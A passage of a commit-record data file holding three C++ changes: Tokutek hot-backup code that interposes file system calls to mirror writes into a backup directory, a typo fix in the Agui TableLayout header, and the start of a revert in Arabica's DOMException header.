the_manager.pause_disable(b);\n}\n\nvoid backup_set_keep_capturing(bool b) throw()\n\/\/ Effect: see backup_internal.h\n{\n    the_manager.set_keep_capturing(b);\n}\nbool backup_is_capturing(void) throw() {\n    return the_manager.is_capturing();\n}\nbool backup_done_copying(void) throw() {\n    return the_manager.is_done_copying();\n}\nvoid backup_set_start_copying(bool b) throw() {\n    the_manager.set_start_copying(b);\n}\n#endif\n<commit_msg>fixes #28 Adding syscall-specific atomic lock around unlink.<commit_after>\/* -*- mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/\/ vim: ft=cpp:expandtab:ts=8:sw=4:softtabstop=4:\n#ident \"Copyright (c) 2012-2013 Tokutek Inc.  All rights reserved.\"\n#ident \"$Id$\"\n\n#include <stdio.h> \/\/ rename(),\n#include <fcntl.h> \/\/ open()\n#include <unistd.h> \/\/ close(), write(), read(), unlink(), truncate(), etc.\n#include <sys\/stat.h> \/\/ mkdir()\n#include <errno.h>\n#include <dlfcn.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"backup_internal.h\"\n#include \"glassbox.h\"\n#include \"manager.h\"\n#include \"raii-malloc.h\"\n#include \"real_syscalls.h\"\n#include \"backup_debug.h\"\n\n#if DEBUG_HOTBACKUP\n#define WARN(string, arg) HotBackup::InterposeWarn(string, arg);\n#define TRACE(string, arg) HotBackup::InterposeTrace(string, arg);\n#define ERROR(string, arg) HotBackup::InterposeError(string, arg);\n#else\n#define WARN(string,arg)\n#define TRACE(string,arg)\n#define ERROR(string,arg)\n#endif\n\nmanager the_manager;\n\n\/\/***************************************\n\/\/\n\/\/ Interposed public API:\n\/\/\n\/\/***************************************\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ open() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Either creates or opens a file in both the source directory\n\/\/ and the backup directory.\n\/\/\nextern \"C\" int open(const char* file, int oflag, ...) {\n    int fd = 0;\n    TRACE(\"open() intercepted, file = \", file);\n    if (oflag & O_CREAT) {\n        va_list ap;\n        va_start(ap, oflag);\n        mode_t mode = va_arg(ap, mode_t);\n        va_end(ap);\n        the_manager.lock_file_op();\n        fd = call_real_open(file, oflag, mode);\n        if (fd >= 0 && the_manager.is_alive()) { \n            int ignore __attribute__((unused)) = the_manager.open(fd, file); \/\/ if there's an error in this call, it's been reported.  The application doesn't want to see the error.\n        }\n\n        the_manager.unlock_file_op();\n    } else {\n        fd = call_real_open(file, oflag);\n        if (fd >= 0) {\n            struct stat stats;\n            int r = fstat(fd, &stats);\n            if(r != 0) {\n                goto out;\n            }\n\n            \/\/ TODO: What happens if we can't tell that the file is a FIFO?  Should we just the backup?  Skip this file?\n            if (!S_ISFIFO(stats.st_mode) && the_manager.is_alive()) {\n                int ignore __attribute__((unused)) = the_manager.open(fd, file); \/\/ if there's an error in the call, it's reported.  The application doesn't want to hear about it.\n            }\n        }\n    }\n\nout:\n    return fd;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ close() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Closes the file associated with the provided file descriptor\n\/\/ in both the source and backup directories.\n\/\/\nextern \"C\" int close(int fd) {\n    int r = 0;\n    TRACE(\"close() intercepted, fd = \", fd);\n    if (the_manager.is_alive()) {\n        the_manager.close(fd); \/\/ The application doesn't want to hear about problems. The backup manager has been notified.\n    }\n\n    r = call_real_close(fd);\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ write() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Writes to the file associated with the given file descriptor\n\/\/ in both the source and backup directories.\n\/\/\nextern \"C\" ssize_t write(int fd, const void *buf, size_t nbyte) {\n    TRACE(\"write() intercepted, fd = \", fd);\n\n    ssize_t r = 0;\n    if (the_manager.is_alive()) {\n        \/\/ Moved the write down into manager where a lock can be obtained.\n        r = the_manager.write(fd, buf, nbyte);\n    } else {\n        r = call_real_write(fd, buf, nbyte);\n    }\n\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ read() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Reads data into the given buffer from the source directory.\n\/\/ \n\/\/ Note:\n\/\/\n\/\/     The backup manager needs to know that the offset for the \n\/\/ given file descriptor has changed, even though no bytes are\n\/\/ read from the backup copy of the same file.\n\/\/\nextern \"C\" ssize_t read(int fd, void *buf, size_t nbyte) {\n    TRACE(\"read() intercepted, fd = \", fd);\n    ssize_t r = 0;\n    if (the_manager.is_alive()) {\n        \/\/ Moved the read down into manager, where a lock can be obtained.\n        r = the_manager.read(fd, buf, nbyte);        \n    } else {\n        r = call_real_read(fd, buf, nbyte);\n    }\n\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ pwrite() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Writes to the file associated with the given file descriptor\n\/\/ in both the source and backup directories.\n\/\/\nextern \"C\" ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset) {\n    TRACE(\"pwrite() intercepted, fd = \", fd);\n    ssize_t r = 0;\n    if (the_manager.is_alive()) {\n        r = the_manager.pwrite(fd, buf, nbyte, offset);\n    } else {\n        r = call_real_pwrite(fd, buf, nbyte, offset);\n    }\n    \n    return r;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\noff_t lseek(int fd, off_t offset, int whence) {\n    TRACE(\"lseek() intercepted fd =\", fd);\n    off_t r = 0;\n    if (the_manager.is_alive()) {\n        r = the_manager.lseek(fd, offset, whence);\n    } else {\n        r = call_real_lseek(fd, offset, whence);\n    }\n\n    return r;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ ftruncate() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Deletes a portion of the file based on the given file descriptor.\n\/\/\nextern \"C\" int ftruncate(int fd, off_t length) {\n    TRACE(\"ftruncate() intercepted, fd = \", fd);\n    int r = 0;\n    if (the_manager.is_alive()) {\n        r = the_manager.ftruncate(fd, length);\n    } else {\n        r = call_real_ftruncate(fd, length);\n    }\n\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ truncate() -\n\/\/\n\/\/ Description: \n\/\/\n\/\/     Deletes a portion of the given file based on the given length.\n\/\/\nextern \"C\" int truncate(const char *path, off_t length) {\n    int r = 0;\n    TRACE(\"truncate() intercepted, path = \", path);\n    if (the_manager.is_alive()) {\n        r = the_manager.truncate(path, length);\n    } else {\n        r = call_real_truncate(path, length);\n    }\n    \n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ unlink() -\n\/\/\n\/\/ Description: \n\/\/\nextern \"C\" int unlink(const char *path) {\n    int r = 0;\n    TRACE(\"unlink() intercepted, path = \", path);\n    if (the_manager.is_alive()) {\n        the_manager.lock_file_op();\n        r = the_manager.unlink(path);\n        the_manager.unlock_file_op();\n    } else {\n        r = call_real_unlink(path);\n    }\n    return r;\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ rename() -\n\/\/\n\/\/ Description: \n\/\/\nextern \"C\" int rename(const char *oldpath, const char *newpath) {\n    int r = 0;\n    TRACE(\"rename() intercepted\",\"\");\n    TRACE(\"-> oldpath = \", oldpath);\n    TRACE(\"-> newpath = \", newpath);\n    \n    if (the_manager.is_alive()) {\n        the_manager.lock_file_op();\n        r = the_manager.rename(oldpath, newpath);\n        the_manager.unlock_file_op();\n    } else {\n        r = call_real_rename(oldpath, newpath);\n    }\n\n    return r;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ mkdir() -\n\/\/\n\/\/ Description: \n\/\/\nint mkdir(const char *pathname, mode_t mode) {\n    int r = 0;\n    TRACE(\"mkidr() intercepted\", pathname);\n    r = call_real_mkdir(pathname, mode);\n    if (r == 0 && the_manager.is_alive()) {\n        \/\/ Don't try to write if there was an error in the application.\n        the_manager.mkdir(pathname);\n    }\n    return r;\n}\n\nextern \"C\" int tokubackup_create_backup(const char *source_dirs[], const char *dest_dirs[], int dir_count,\n                                        backup_poll_fun_t poll_fun, void *poll_extra,\n                                        backup_error_fun_t error_fun, void *error_extra) throw() {\n    if (dir_count!=1) {\n        error_fun(EINVAL, \"Only one source directory may be specified for backup\", error_extra);\n        return EINVAL;\n    }\n    for (int i=0; i<dir_count; i++) {\n        if (source_dirs[i]==NULL) {\n            error_fun(EINVAL, \"One of the source directories is NULL\", error_extra);\n            return EINVAL;\n        }\n        if (dest_dirs[i]==NULL) {\n            error_fun(EINVAL, \"One of the destination directories is NULL\", error_extra);\n            return EINVAL;\n        }\n        \/\/int r = the_manager.add_directory(source_dirs[i], dest_dirs[i], poll_fun, poll_extra, error_fun, error_extra);\n        \/\/if (r!=0) return r;\n    }\n    \n    \/\/ Check to make sure that the source and destination directories are\n    \/\/ actually different.\n    {\n        with_object_to_free<char*> full_source (call_real_realpath(source_dirs[0], NULL));\n        if (full_source.value == NULL) {\n            error_fun(ENOENT, \"Could not resolve source directory path.\", error_extra);\n            return ENOENT;\n        }\n    \n        with_object_to_free<char*> full_destination(call_real_realpath(dest_dirs[0], NULL));\n        if (full_destination.value == NULL) {\n            error_fun(ENOENT, \"Could not resolve destination directory path.\", error_extra);\n            return ENOENT;\n        }\n\n        if (strcmp(full_source.value, full_destination.value) == 0) {\n            error_fun(EINVAL, \"Source and destination directories are the same.\", error_extra);\n            return EINVAL;\n        }\n    }\n\n    backup_callbacks calls(poll_fun, poll_extra, error_fun, error_extra, &get_throttle);\n    return the_manager.do_backup(source_dirs[0], dest_dirs[0], &calls);\n}\n\nextern \"C\" void tokubackup_throttle_backup(unsigned long bytes_per_second) throw() {\n    the_manager.set_throttle(bytes_per_second);\n}\n\nunsigned long get_throttle(void) throw() {\n    return the_manager.get_throttle();\n}\n\nchar *malloc_snprintf(size_t size, const char *format, ...) throw() {\n    va_list ap;\n    va_start(ap, format);\n    char *result = (char*)malloc(size);\n    vsnprintf(result, size, format, ap);\n    va_end(ap);\n    return result;\n}\n\nconst char *tokubackup_version_string = \"tokubackup 1.0 $Revision: 56100 $\";\n\n#ifdef GLASSBOX\nvoid backup_pause_disable(bool b) throw() {\n    the_manager.pause_disable(b);\n}\n\nvoid backup_set_keep_capturing(bool b) throw()\n\/\/ Effect: see backup_internal.h\n{\n    the_manager.set_keep_capturing(b);\n}\nbool backup_is_capturing(void) throw() {\n    return the_manager.is_capturing();\n}\nbool backup_done_copying(void) throw() {\n    return the_manager.is_done_copying();\n}\nvoid backup_set_start_copying(bool b) throw() {\n    the_manager.set_start_copying(b);\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*   _____                           \r\n * \/\\  _  \\                     __    \r\n * \\ \\ \\_\\ \\      __    __  __ \/\\_\\   \r\n *  \\ \\  __ \\   \/'_ `\\ \/\\ \\\/\\ \\\\\/\\ \\  \r\n *   \\ \\ \\\/\\ \\ \/\\ \\_\\ \\\\ \\ \\_\\ \\\\ \\ \\ \r\n *    \\ \\_\\ \\_\\\\ \\____ \\\\ \\____\/ \\ \\_\\\r\n *     \\\/_\/\\\/_\/ \\\/____\\ \\\\\/___\/   \\\/_\/\r\n *                \/\\____\/             \r\n *                \\_\/__\/              \r\n *\r\n * Copyright (c) 2011 Joshua Larouche\r\n * \r\n *\r\n * License: (BSD)\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n * 1. Redistributions of source code must retain the above copyright\r\n *    notice, this list of conditions and the following disclaimer.\r\n * 2. Redistributions in binary form must reproduce the above copyright\r\n *    notice, this list of conditions and the following disclaimer in\r\n *    the documentation and\/or other materials provided with the\r\n *    distribution.\r\n * 3. Neither the name of Agui nor the names of its contributors may\r\n *    be used to endorse or promote products derived from this software\r\n *    without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\r\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\/\r\n\r\n#ifndef AGUI_TABLE_LAYOUT_HPP\r\n#define AGUI_TABLE_LAYOUT_HPP\r\n\r\n#include \"Agui\/Layout.hpp\"\r\nnamespace agui\r\n{\r\n\t\/**\r\n     * Allows to layout widgets in table, row\/column dimenensions are dependent on the\r\n     * size of the biggest widget in the corresponding row\/column, as in HTML table.\r\n     * Items in the cell have vertical centering.\r\n     * @TODO rowspan\/cellspan\r\n     * @TODO Specify align for individual cells\/rows\/columns\r\n     * @author Michal Kovarik\r\n     * @since 0.1.0\r\n     *\/\r\n\tclass TableLayout :\r\n\t\tpublic Layout\r\n\t{\r\n\t\tint rows;\r\n\t\tint columns;\r\n\t\tint horizontalSpacing;\r\n\t\tint verticalSpacing;\r\n\tprotected:\r\n\t\/**\r\n     * Lays out the children in a grid.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void layoutChildren();\r\n\tpublic:\r\n\t\/**\r\n     * Sets the number of rows expected to have.\r\n\t *\r\n\t * This can be set to zero if you do not know however \r\n\t * either number of rows or number of columns must be non zero.\r\n\t * They cannot both be zero.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setNumberOfRows(int rows);\r\n\t\/**\r\n     * Sets the number of columns expected to have.\r\n\t *\r\n\t * This can be set to zero if you do not know however \r\n\t * either number of rows or number of columns must be non zero.\r\n\t * They cannot both be zero.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setNumberOfColumns(int columns);\r\n\t\t\/**\r\n\t * Sets the horizontal spacing between each widget. The first widget in the row receives no spacing.\r\n\t * Use the margins for this.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setHorizontalSpacing(int spacing);\r\n\t\/**\r\n\t * Sets the vertical spacing between each widget. The first widget in the column receives no spacing.\r\n\t * Use the margins for this.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setVerticalSpacing(int spacing);\r\n\t\/**\r\n\t * @return The number of rows in the grid or zero if unknown.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getNumberOfRows() const;\r\n\t\/**\r\n\t * @return The number of columns in the grid or zero if unknown.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getNumberOfColumns() const;\r\n\t\t\t\/**\r\n\t * @return The horizontal spacing between widgets.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getHorizontalSpacing() const;\r\n\t\/**\r\n\t * @return The vertical spacing between widgets.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getVerticalSpacing() const;\r\n    virtual void resizeToContents();\r\n\t\/**\r\n\t * Default constructor.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tTableLayout(void);\r\n\t\t\/**\r\n\t * Default destructor.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual ~TableLayout(void);\r\n\t};\r\n}\r\n#endif\r\n<commit_msg>Typo fix<commit_after>\/*   _____                           \r\n * \/\\  _  \\                     __    \r\n * \\ \\ \\_\\ \\      __    __  __ \/\\_\\   \r\n *  \\ \\  __ \\   \/'_ `\\ \/\\ \\\/\\ \\\\\/\\ \\  \r\n *   \\ \\ \\\/\\ \\ \/\\ \\_\\ \\\\ \\ \\_\\ \\\\ \\ \\ \r\n *    \\ \\_\\ \\_\\\\ \\____ \\\\ \\____\/ \\ \\_\\\r\n *     \\\/_\/\\\/_\/ \\\/____\\ \\\\\/___\/   \\\/_\/\r\n *                \/\\____\/             \r\n *                \\_\/__\/              \r\n *\r\n * Copyright (c) 2011 Joshua Larouche\r\n * \r\n *\r\n * License: (BSD)\r\n * Redistribution and use in source and binary forms, with or without\r\n * modification, are permitted provided that the following conditions\r\n * are met:\r\n * 1. Redistributions of source code must retain the above copyright\r\n *    notice, this list of conditions and the following disclaimer.\r\n * 2. Redistributions in binary form must reproduce the above copyright\r\n *    notice, this list of conditions and the following disclaimer in\r\n *    the documentation and\/or other materials provided with the\r\n *    distribution.\r\n * 3. Neither the name of Agui nor the names of its contributors may\r\n *    be used to endorse or promote products derived from this software\r\n *    without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\r\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\r\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n *\/\r\n\r\n#ifndef AGUI_TABLE_LAYOUT_HPP\r\n#define AGUI_TABLE_LAYOUT_HPP\r\n\r\n#include \"Agui\/Layout.hpp\"\r\nnamespace agui\r\n{\r\n\t\/**\r\n     * Allows to layout widgets in table, row\/column dimenensions are dependent on the\r\n     * size of the biggest widget in the corresponding row\/column, as in HTML table.\r\n     * Items in the cell have vertical centering.\r\n     * @TODO rowspan\/colspan\r\n     * @TODO Specify align for individual cells\/rows\/columns\r\n     * @author Michal Kovarik\r\n     * @since 0.1.0\r\n     *\/\r\n\tclass TableLayout :\r\n\t\tpublic Layout\r\n\t{\r\n\t\tint rows;\r\n\t\tint columns;\r\n\t\tint horizontalSpacing;\r\n\t\tint verticalSpacing;\r\n\tprotected:\r\n\t\/**\r\n     * Lays out the children in a grid.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void layoutChildren();\r\n\tpublic:\r\n\t\/**\r\n     * Sets the number of rows expected to have.\r\n\t *\r\n\t * This can be set to zero if you do not know however \r\n\t * either number of rows or number of columns must be non zero.\r\n\t * They cannot both be zero.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setNumberOfRows(int rows);\r\n\t\/**\r\n     * Sets the number of columns expected to have.\r\n\t *\r\n\t * This can be set to zero if you do not know however \r\n\t * either number of rows or number of columns must be non zero.\r\n\t * They cannot both be zero.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setNumberOfColumns(int columns);\r\n\t\t\/**\r\n\t * Sets the horizontal spacing between each widget. The first widget in the row receives no spacing.\r\n\t * Use the margins for this.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setHorizontalSpacing(int spacing);\r\n\t\/**\r\n\t * Sets the vertical spacing between each widget. The first widget in the column receives no spacing.\r\n\t * Use the margins for this.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual void setVerticalSpacing(int spacing);\r\n\t\/**\r\n\t * @return The number of rows in the grid or zero if unknown.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getNumberOfRows() const;\r\n\t\/**\r\n\t * @return The number of columns in the grid or zero if unknown.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getNumberOfColumns() const;\r\n\t\t\t\/**\r\n\t * @return The horizontal spacing between widgets.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getHorizontalSpacing() const;\r\n\t\/**\r\n\t * @return The vertical spacing between widgets.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual int getVerticalSpacing() const;\r\n    virtual void resizeToContents();\r\n\t\/**\r\n\t * Default constructor.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tTableLayout(void);\r\n\t\t\/**\r\n\t * Default destructor.\r\n     * @since 0.1.0\r\n     *\/\r\n\t\tvirtual ~TableLayout(void);\r\n\t};\r\n}\r\n#endif\r\n<|endoftext|>"}
{"text":"<commit_before>#ifndef JEZUK_DOM_EXCEPTION_H\n#define JEZUK_DOM_EXCEPTION_H\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ C++ DOM definition\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <stdexcept>\n#include <typeinfo>\n\nnamespace Arabica\n{\nnamespace DOM\n{\n\nclass DOMBadCast : public std::bad_cast\n{\npublic:\n  DOMBadCast(const char* expectedType) :\n      message_(std::string(\"Cannot cast to \") + std::string(expectedType))\n  {\n  } \/\/ DOMBadCast\n\n  DOMBadCast(const DOMBadCast& rhs) :\n      message_(rhs.message_)\n  {\n  } \/\/ DOMBadCase\n\n  virtual ~DOMBadCast() throw()\n  {\n  } \/\/ DOMBadCast\n\n  virtual const char* what() const throw()\n  {\n    return message_.c_str();\n  } \/\/ what\n\nprivate:\n  const std::string message_;\n\n  DOMBadCast& operator=(const DOMBadCast&);\n  bool operator==(const DOMBadCast&) const;\n}; \/\/ DOMBadCast\n      \nclass DOMException : public std::runtime_error\n{\npublic:\n  enum CODE \n  {\n    INDEX_SIZE_ERR = 1,\n    DOMSTRING_SIZE_ERR = 2,\n    HIERARCHY_REQUEST_ERR = 3,\n    WRONG_DOCUMENT_ERR = 4,\n    INVALID_CHARACTER_ERR = 5,\n    NO_DATA_ALLOWED_ERR = 6,\n    NO_MODIFICATION_ALLOWED_ERR = 7,\n    NOT_FOUND_ERR = 8,\n    NOT_SUPPORTED_ERR = 9 ,\n    INUSE_ATTRIBUTE_ERR = 10,\n    INVALID_STATE_ERR,\n    SYNTAX_ERR,\n    INVALID_MODIFICATION_ERR,\n    NAMESPACE_ERR,\n    INVALID_ACCESS_ERR\n  }; \/\/ enum CODE\n\n  DOMException(CODE code) : \n    std::runtime_error(\"DOMException\"), \n    code_(code) \n  { \n  } \/\/ DOMException\n\n  DOMException(const DOMException& rhs) :\n    std::runtime_error(rhs),\n    code_(rhs.code_)\n  {\n  } \/\/ DOMException\n\n  virtual ~DOMException() throw()\n  {\n  } \/\/ DOMBadCast\n\n  CODE code() const { return code_; }\n\n  virtual const char* what() const throw()\n  {\n    switch(code_)\n    {\n      case INDEX_SIZE_ERR:\n        return \"Index size error\";\n      case DOMSTRING_SIZE_ERR:\n        return \"DOMString size error\";\n      case HIERARCHY_REQUEST_ERR:\n        return \"Hierarchy request error\";\n      case WRONG_DOCUMENT_ERR:\n        return \"Wrong Document error\";\n      case INVALID_CHARACTER_ERR:\n        return \"Invalid Character error\";\n      case NO_DATA_ALLOWED_ERR:\n        return \"No data allowed error\";\n      case NO_MODIFICATION_ALLOWED_ERR:\n        return \"No modification allowed error\";\n      case NOT_FOUND_ERR:\n        return \"Not found error\";\n      case NOT_SUPPORTED_ERR:\n        return \"Not supported error\";\n      case INUSE_ATTRIBUTE_ERR:\n        return \"Attribute inuse error\";\n      case INVALID_STATE_ERR:\n        return \"Invalid state\";\n      case SYNTAX_ERR:\n        return \"Syntax error\";\n      case INVALID_MODIFICATION_ERR:\n        return \"Invalid modification error\";\n      case NAMESPACE_ERR:\n        return \"Namespace error\";\n      case INVALID_ACCESS_ERR:\n        return \"Invalid access error\";\n    } \/\/ switch(code_)\n\n    return \"DOM error\";\n  } \/\/ what\n\nprivate:\n  DOMBadCast& operator=(const DOMBadCast&);\n  bool operator==(const DOMBadCast&) const;\n\n  CODE code_;\n}; \/\/ class DOMException\n\n} \/\/ namespace DOM\n} \/\/ namespace Arabica\n\n#endif\n\n<commit_msg>Reverted last commit<commit_after>#ifndef JEZUK_DOM_EXCEPTION_H\n#define JEZUK_DOM_EXCEPTION_H\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ C++ DOM definition\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <stdexcept>\n#include <typeinfo>\n\nnamespace Arabica\n{\nnamespace DOM\n{\n\nclass DOMBadCast : public std::bad_cast\n{\npublic:\n  DOMBadCast(const char* expectedType) :\n      message_(std::string(\"Cannot cast to \") + expectedType)\n  {\n  } \/\/ DOMBadCast\n\n  DOMBadCast(const DOMBadCast& rhs) :\n      message_(rhs.message_)\n  {\n  } \/\/ DOMBadCase\n\n  virtual ~DOMBadCast() throw()\n  {\n  } \/\/ DOMBadCast\n\n  virtual const char* what() const throw()\n  {\n    return message_.c_str();\n  } \/\/ what\n\nprivate:\n  const std::string message_;\n\n  DOMBadCast& operator=(const DOMBadCast&);\n  bool operator==(const DOMBadCast&) const;\n}; \/\/ DOMBadCast\n      \nclass DOMException : public std::runtime_error\n{\npublic:\n  enum CODE \n  {\n    INDEX_SIZE_ERR = 1,\n    DOMSTRING_SIZE_ERR = 2,\n    HIERARCHY_REQUEST_ERR = 3,\n    WRONG_DOCUMENT_ERR = 4,\n    INVALID_CHARACTER_ERR = 5,\n    NO_DATA_ALLOWED_ERR = 6,\n    NO_MODIFICATION_ALLOWED_ERR = 7,\n    NOT_FOUND_ERR = 8,\n    NOT_SUPPORTED_ERR = 9 ,\n    INUSE_ATTRIBUTE_ERR = 10,\n    INVALID_STATE_ERR,\n    SYNTAX_ERR,\n    INVALID_MODIFICATION_ERR,\n    NAMESPACE_ERR,\n    INVALID_ACCESS_ERR\n  }; \/\/ 